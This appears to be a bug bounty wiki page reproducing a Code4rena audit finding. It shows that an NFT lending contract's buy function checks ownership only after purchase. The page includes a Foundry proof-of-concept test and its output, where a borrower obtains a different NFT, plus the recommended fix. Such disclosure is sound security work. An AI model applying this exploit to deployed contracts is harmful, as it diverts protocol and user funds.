_execBuyNftFromMarket() Need to determine if NFT can’t already be in the contract
The contract's buy function checked that the NFT was owned by the contract after the purchase, but did not check that it was not already owned before. An attacker could supply an NFT that was already in the contract as collateral for a second lien, then call the buy function with trade data for a different NFT, causing the contract to buy that other NFT while the check still passed.
bin2chen Follow with minhquanym
Originally disclosed on Code4rena
Submitted by bin2chen, also found by minhquanym
Use other Lien’s NFTs for repayment
Proof of Concept
_execBuyNftFromMarket() Whether the NFT is in the current contract after the buy, to represent the successful purchase of NFT.
function _execBuyNftFromMarket(
address collection,
uint256 tokenId,
uint256 amount,
uint256 useToken,
address marketplace,
bytes calldata tradeData
) internal {
...
if (IERC721(collection).ownerOf(tokenId) != address(this) || balanceBefore - address(this).balance != amount) {
revert Errors.InvalidNFTBuy();
}
}
But before executing the purchase, it does not determine whether the NFT is already in the contract.
Since the current protocol does not limit an NFT to only one lien, the _execBuyNftFromMarket() does not actually buy NFT; the funds are used to buy other NFTs, but still meet the verification conditions.
Example.
- Alice transfers NFT_A to supply Lien[1].
- Bob performs
sellNftToMarket(1)and NFT_A is bought by Jack. - Jack transfer NFTA and supply Lien[2] (after this NFTA exists in the contract).
- Bob executes
buyNftFromMarket(1)and spends the same amount corresponding to the purchase of other NFT such as:tradeData = { buy NFT_K }. - Step 4 can be passed
IERC721(collection).ownerOf(tokenId) ! = address(this) || balanceBefore - address(this).balance ! = amountand Bob gets an additional NFT_K.
Test code:
function testOneNftTwoLien() external {
//0.lender supply lien[0]
_approveAndSupply(lender,_tokenId);
//1.borrower sell to market
_rawSellToMarketplace(borrower, address(dummyMarketplace), 0, _sellAmount);
//2.jack buy nft
address jack = address(0x100);
vm.startPrank(jack);
dummyMarketplace.buyFromMarket(jack,address(dummyNFTs),_tokenId);
vm.stopPrank();
//3.jack supply lien[1]
_approveAndSupply(jack, _tokenId);
//4.borrower buyNftFromMarket , don't need buy dummyNFTs , buy other nft
OtherDummyERC721 otherDummyERC721 = new OtherDummyERC721("otherNft","otherNft");
otherDummyERC721.mint(address(dummyMarketplace),1);
console.log("before borrower balance:",borrower.balance / 1 ether);
console.log("before otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);
bytes memory tradeData = abi.encodeWithSignature(
"buyFromMarket(address,address,uint256)",
borrower,
address(otherDummyERC721),//<--------buy other nft
1
);
vm.startPrank(borrower);
particleExchange.buyNftFromMarket(
_activeLien, 0, _tokenId, _sellAmount, 0, address(dummyMarketplace), tradeData);
vm.stopPrank();
//5.show borrower get 10 ether back , and get other nft
console.log("after borrower balance:",borrower.balance / 1 ether);
console.log("after otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);
}
contract OtherDummyERC721 is ERC721 {
// solhint-disable-next-line no-empty-blocks
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function mint(address to, uint256 tokenId) external {
_safeMint(to, tokenId);
}
}
$ forge test --match testOneNftTwoLien -vvv
[PASS] testOneNftTwoLien() (gas: 1466296)
Logs:
before borrower balance: 0
before otherDummyERC721's owner is borrower : false
after borrower balance: 10
after otherDummyERC721's owner is borrower : true
Test result: ok. 1 passed; 0 failed; finished in 6.44ms
Recommended Mitigation Steps
_execBuyNftFromMarket to determine the ownerOf() is not equal to the contract address before buying.
function _execBuyNftFromMarket(
address collection,
uint256 tokenId,
uint256 amount,
uint256 useToken,
address marketplace,
bytes calldata tradeData
) internal {
if (!registeredMarketplaces[marketplace]) {
revert Errors.UnregisteredMarketplace();
}
+ require(IERC721(collection).ownerOf(tokenId) != address(this),"NFT is already in contract ")
...
Assessed type
Context
PoC -> Marked as primary
wukong-particle (Particle) confirmed and commented:
Fixed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the function only verified post-purchase ownership and balance change, without checking pre-purchase ownership, allowing a pre-existing NFT to satisfy the condition while funds were spent on a different NFT.
Impact
An attacker could obtain an additional NFT while the contract believed the original NFT was purchased, effectively diverting funds.
What the attacker needed
A lien on an NFT; the NFT already owned by the contract; ability to call buyNftFromMarket
The fix
The function should check that the contract does not already own the NFT before executing the purchase.
How it was found
- Alice transfers NFT_A to supply Lien[1].
- Bob performs sellNftToMarket(1) and NFT_A is bought by Jack.
- Jack transfers NFT_A and supplies Lien[2] (after this NFT_A exists in the contract).
- Bob executes buyNftFromMarket(1) and spends the same amount corresponding to the purchase of other NFT such as: tradeData = { buy NFT_K }.
- Step 4 can be passed the ownership and balance check and Bob gets an additional NFT_K.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets people borrow money by locking up an NFT as collateral. The contract had a rule that after buying an NFT it must own that NFT, but it forgot to check that it did not already own it before the purchase. So someone could reuse an NFT that was already locked up, pretend to buy it again, and trick the contract into buying a different NFT instead.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.